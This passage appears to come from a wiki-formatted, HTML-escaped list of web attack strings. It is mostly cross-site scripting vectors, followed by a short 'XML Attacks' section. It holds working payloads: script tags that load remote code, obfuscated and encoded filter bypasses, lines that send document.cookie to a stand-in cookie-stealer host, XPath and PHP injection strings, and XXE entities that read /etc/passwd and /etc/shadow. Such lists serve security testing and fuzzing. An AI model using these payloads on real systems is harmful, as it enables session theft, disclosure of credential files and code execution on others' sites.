HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml 